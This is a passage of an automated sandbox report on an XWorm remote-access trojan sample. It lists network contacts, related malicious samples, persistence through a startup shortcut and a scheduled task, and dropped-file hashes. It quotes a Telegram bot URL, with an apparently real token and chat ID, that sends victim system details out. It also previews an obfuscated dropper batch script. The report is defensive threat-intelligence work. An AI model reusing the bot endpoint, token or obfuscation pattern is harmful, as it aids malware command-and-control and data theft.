api.telegram.org	149.154.167.220	true	true	2%, Virustotal, Browse	unknown
pastebin.com	172.67.19.24	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/RC2EiWaF	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot7014340212:AAH7pEXbcp-rOhGS8YVjIHjg0C8qlSDZSI4/sendMessage?chat_id=-1002233278906&text=%E2%98%A0%20%5BXWorm%20V3.1%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A318CC4CF7D59F1751A28%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.1779351714.000001DC90077000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://crl.microsoft	powershell.exe, 00000005.00000002.1784680246.000001DCF2345000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000005.00000002.1779351714.000001DC90077000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.1779351714.000001DC90077000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000005.00000002.1779351714.000001DC90077000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.1779351714.000001DC90077000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.1755066332.000001DC80001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.1755066332.000001DC80001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
172.67.19.24	pastebin.com	United States	13335	CLOUDFLARENETUS	true
94.141.120.29	adsguarddns.redirectme.net	Russian Federation	43429	UNITLINE_RST_NET1RostovnaDonuRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1493241
Start date and time:	2024-08-15 08:08:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@23/19@4/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 99% Number of executed functions: 32 Number of non-executed functions: 31
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7692 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:09:01	API Interceptor	1408534x Sleep call for process: powershell.exe modified
02:09:19	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk
07:09:06	Task Scheduler	Run new task: Windows_Log_414_str path: C:\Users\user\AppData\Roaming\Windows_Log_414.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	PO COPE-24-PO-0250.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	DHL Receipt_4977049980.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	https://pariscope.com.au/robots.html?colors=YmxhbmdlQGplZmZwYXJpc2gubmV0	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	SecuriteInfo.com.Trojan.PackedNET.3020.11631.31643.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	Document.exe	Get hash	malicious	VIP Keylogger	Browse
	SecuriteInfo.com.Trojan.PackedNET.3020.22248.26000.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	SC_TR116709004.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	Our Ref 4004986984.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	01_extracted.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse
	Document.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
172.67.19.24	sostener.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Dadebehring PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	file.exe	Get hash	malicious	Cryptbot	Browse	172.67.19.24
	SecuriteInfo.com.Win32.MalwareX-gen.6231.15153.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	SecuriteInfo.com.W32.MSIL_Kryptik.EQI.gen.Eldorado.19106.7830.exe	Get hash	malicious	DarkTortilla	Browse	172.67.19.24
	SecuriteInfo.com.Win64.MalwareX-gen.22026.2513.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	SecuriteInfo.com.Win64.MalwareX-gen.22026.2513.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
	SecuriteInfo.com.Win64.TrojanX-gen.4310.13330.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
	SecuriteInfo.com.Win64.TrojanX-gen.12253.7599.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	SecuriteInfo.com.Win64.TrojanX-gen.19310.4810.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	SecuriteInfo.com.Win64.TrojanX-gen.4310.13330.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	SecuriteInfo.com.Win64.TrojanX-gen.12253.7599.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
api.telegram.org	PO COPE-24-PO-0250.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DHL Receipt_4977049980.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://pariscope.com.au/robots.html?colors=YmxhbmdlQGplZmZwYXJpc2gubmV0	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.PackedNET.3020.11631.31643.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Document.exe	Get hash	malicious	VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.PackedNET.3020.22248.26000.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SC_TR116709004.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Our Ref 4004986984.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	01_extracted.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	149.154.167.220
	Document.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	PO COPE-24-PO-0250.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DHL Receipt_4977049980.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://kokosik.vip/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://kmklmal.pages.dev/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://www.telegramkd.com/apps/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://pariscope.com.au/robots.html?colors=YmxhbmdlQGplZmZwYXJpc2gubmV0	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.PackedNET.3020.11631.31643.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Document.exe	Get hash	malicious	VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Trojan.PackedNET.3020.22248.26000.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SC_TR116709004.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	PO COPE-24-PO-0250.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Shipping Documents.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	https://a.squareupmessaging.com/CL0/https:%2F%2Fapp.squareup.com%2Fpay-invoice%2Finv:0-ChBnTrhOi2ABLKtcmyc8ZprTEIEM%2F/1/0101019151d80bbd-4ab68670-e9f5-4810-90bb-c8a4fb2f1daa-000000/gzk6_CfXhERCXYfs7hoUh4VFV3nR4K5O8pIe2wXji5Y=366	Get hash	malicious	Unknown	Browse	104.18.86.42
	bank details.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	Sirion SaaS Terms_US.docx	Get hash	malicious	Unknown	Browse	104.16.117.116
	PURCHASE ORDER 1.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	172.67.198.204
	Sirion SaaS Terms_US.docx	Get hash	malicious	Unknown	Browse	104.16.117.116
	PRODUCTS SHEET 0051937.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	RFQ-180624.exe	Get hash	malicious	FormBook	Browse	104.21.37.151
	DHL Receipt_4977049980.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
UNITLINE_RST_NET1RostovnaDonuRU	Hybrid.exe	Get hash	malicious	XWorm	Browse	94.141.120.222
UNITLINE_RST_NET1RostovnaDonuRU	POZDX9283739.exe	Get hash	malicious	RedLine	Browse	94.141.120.25

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	PO COPE-24-PO-0250.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.67.19.24 149.154.167.220
	Shipping Documents.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.19.24 149.154.167.220
	bank details.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.19.24 149.154.167.220
	Purchase oders-10-03-2023.hta	Get hash	malicious	Unknown	Browse	172.67.19.24 149.154.167.220
	DHL Receipt_4977049980.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.67.19.24 149.154.167.220
	http://methamaskwllte.gitbook.io/us	Get hash	malicious	Unknown	Browse	172.67.19.24 149.154.167.220
	https://solrac980.github.io/website	Get hash	malicious	Unknown	Browse	172.67.19.24 149.154.167.220
	https://tzilieu7zpwrhmwm4bnzswbnzo5avrf2qy2634onillkstjgi5bq.ar-io.dev/nlC0Ep_L7ROyzOBbmVgty7oKxLqGNe3xzULWqU0mR0M	Get hash	malicious	HTMLPhisher	Browse	172.67.19.24 149.154.167.220
	https://yahooupdate35357.wixsite.com/my-site	Get hash	malicious	Unknown	Browse	172.67.19.24 149.154.167.220
	https://sdgdfgg.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	172.67.19.24 149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\powershell.exe	BrowserUpdater.lnk	Get hash	malicious	Unknown	Browse
	Updater.lnk	Get hash	malicious	Unknown	Browse
	ZG7UaFRPVW.exe	Get hash	malicious	DBatLoader, Remcos	Browse
	IN-34823_PO39276-pdf.vbe	Get hash	malicious	Remcos, DBatLoader	Browse
	7XU2cRFInT.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	megerosites.cmd	Get hash	malicious	DBatLoader, Lokibot	Browse
	Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	Payroll for July.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	2nd_Quarter_Order_Sheet_xls_0000000000000000000.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	Import_Tax Invoice_PL_xls_0000000000000000000 .exe	Get hash	malicious	Remcos, DBatLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	9713
Entropy (8bit):	4.940954773740904
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smu9:9rib4ZIkjh4iUxsNYW6Ypib47
MD5:	BA7C69EBE30EC7DA697D2772E36A746D
SHA1:	DA93AC7ADC6DE8CFFED4178E1F98F0D0590EA359
SHA-256:	CFCE399DF5BE3266219AA12FB6890C6EEFDA46D6279A0DD90E82A970149C5639
SHA-512:	E0AFE4DF389A060EFDACF5E78BA6419CECDFC674AA5F201C458D517C20CB50B70CD8A4EB23B18C0645BDC7E9F326CCC668E8BADE803DED41FCDA2AE1650B31E8
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2988
Entropy (8bit):	5.452458532647221
Encrypted:	false
SSDEEP:	48:cAzsSU4y4RQmFoUeCamfm9qr9t5/78NPwG4GxJZKaVEouYAgwd64rHLjtvWbTb:cAzlHyIFKL2O9qrh7KPwGJ5Eo9AdrxWT
MD5:	9CF9B9C3C8F2CB6E5343A870850182C6
SHA1:	1BCAAC35C45A795DB11E9C4C4172059780163243
SHA-256:	D9300277547D8C80FB846B675ED21E95B4356089346F57DDF1A900C1BC643DE9
SHA-512:	D15072334ABFE704CD440888F7F106CB552CA175E63C48E3540E811F73811FE5427FEBB798EBA3F4FB92D3A6B49DBFEE317D6FEFF6256AFD85595CF6294F98CA
Malicious:	false
Preview:	@...e...........................................................H..............@-....f.J.\|.7h8..-.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0818136700495735
Encrypted:	false
SSDEEP:	3:Nlllulrlgll//Z:NllUml
MD5:	BCE202BE96167104C292ABBA72DDA325
SHA1:	2F7A5938BD57E9769440EDF0B6700DD001DF7AC6
SHA-256:	680BC38EEF1B5175C4E728CEA436662498DC7F8E5570CBA66D7F9627AC0A0AEE
SHA-512:	195CAC106561793B62A216DA442AA663BDEDCDFCA2920848583880B25489E03888AF732B6F07834DB3A4E892F24020CC8E2C37D54F1B61F20BEEFCCDB38F0189
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\IXP000.TMP\Opera_Update.bat

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	DOS batch file, ASCII text, with very long lines (38228), with CRLF line terminators
Category:	dropped
Size (bytes):	99225
Entropy (8bit):	6.1457347231786885
Encrypted:	false
SSDEEP:	1536:PDjpH0K1wBs6vgv6/LA2pBqvpceochqq1S2vtkv3bPBXbcxU8p3xAAa/YeuKMr:PDjpHF1we6vgS02pBqh2c0/NmRSaeir
MD5:	E3DDAA4629DA5C0558829293AA228219
SHA1:	AE3BBA794E898EABADE50F2FFC0DAD3E92367D22
SHA-256:	32654B98A6F8FB9EBD1CFAD615FEE13A32FC525A68854BA7717D26167CF1B85C
SHA-512:	4CF6AE21A8D094B9592301A437612AF0A992D3E7E1883419D2793664F424BC0598BDF6E17E4C475BE5210EC30F4C5D5FD9D4B8C3F19EAEABFE75EFC2E95F69CD
Malicious:	false
Preview:	@echo off..%pfUeYeIQtODthlKRXywk%s%pfUeYeIQtODthlKRXywk%e%pfUeYeIQtODthlKRXywk%t%pfUeYeIQtODthlKRXywk%l%pfUeYeIQtODthlKRXywk%o%pfUeYeIQtODthlKRXywk%c%pfUeYeIQtODthlKRXywk%a%pfUeYeIQtODthlKRXywk%l%pfUeYeIQtODthlKRXywk% %pfUeYeIQtODthlKRXywk%e%pfUeYeIQtODthlKRXywk%n%pfUeYeIQtODthlKRXywk%a%pfUeYeIQtODthlKRXywk%b%pfUeYeIQtODthlKRXywk%l%pfUeYeIQtODthlKRXywk%e%pfUeYeIQtODthlKRXywk%d%pfUeYeIQtODthlKRXywk%e%pfUeYeIQtODthlKRXywk%l%pfUeYeIQtODthlKRXywk%a%pfUeYeIQtODthlKRXywk%y%pfUeYeIQtODthlKRXywk%e%pfUeYeIQtODthlKRXywk%d%pfUeYeIQtODthlKRXywk%e%pfUeYeIQtODthlKRXywk%x%pfUeYeIQtODthlKRXywk%p%pfUeYeIQtODthlKRXywk%a%pfUeYeIQtODthlKRXywk%n%pfUeYeIQtODthlKRXywk%s%pfUeYeIQtODthlKRXywk%i%pfUeYeIQtODthlKRXywk%o%pfUeYeIQtODthlKRXywk%n%pfUeYeIQtODthlKRXywk%..set "MzkQmtAUDRKttJhUuSCe=s"..set "KVBMucTsuobctVyPOYxu=t"..set "jWobgAKvYChObjegXGJp=!MzkQmtAUDRKttJhUuSCe!e!KVBMucTsuobctVyPOYxu!"..!jWobgAKvYChObjegXGJp! "sGVUCVhfGf=v1.0"..!jWobgAKvYChObjegXGJp! "ThknrkDTGl=.$yb"..!jWobgAKvYChObjegXGJp! "kfYPPxGHbF

C:\Users\user\AppData\Local\Temp\Log.tmp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.598349098128234
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsra:EFYJKDoWra
MD5:	2C11513C4FAB02AEDEE23EC05A2EB3CC
SHA1:	59177C177B2546FBD8EC7688BAD19D08D32640DE
SHA-256:	BCF3676333E528171EEE1055302F3863A0C89D9FFE7017EA31CF264E13C8A699
SHA-512:	08196AFA62650F1808704DCAD9918DA11175CD8792878F63E35F517B4D6CF407AC9E281D9B71A76E4CC1486CAD7079C56B74ECBEDB0A0F0DD4170FB0D30D2BAD
Malicious:	false
Preview:	....### explorer ###..[WIN]r

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_401t3jr3.42i.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c14fizkn.auy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cpovrqex.ylt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_de5b0r2f.ry2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qwe2ygbx.azr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vah2h0dt.rnc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x5nrdogr.bby.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yxlrbbce.j2f.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
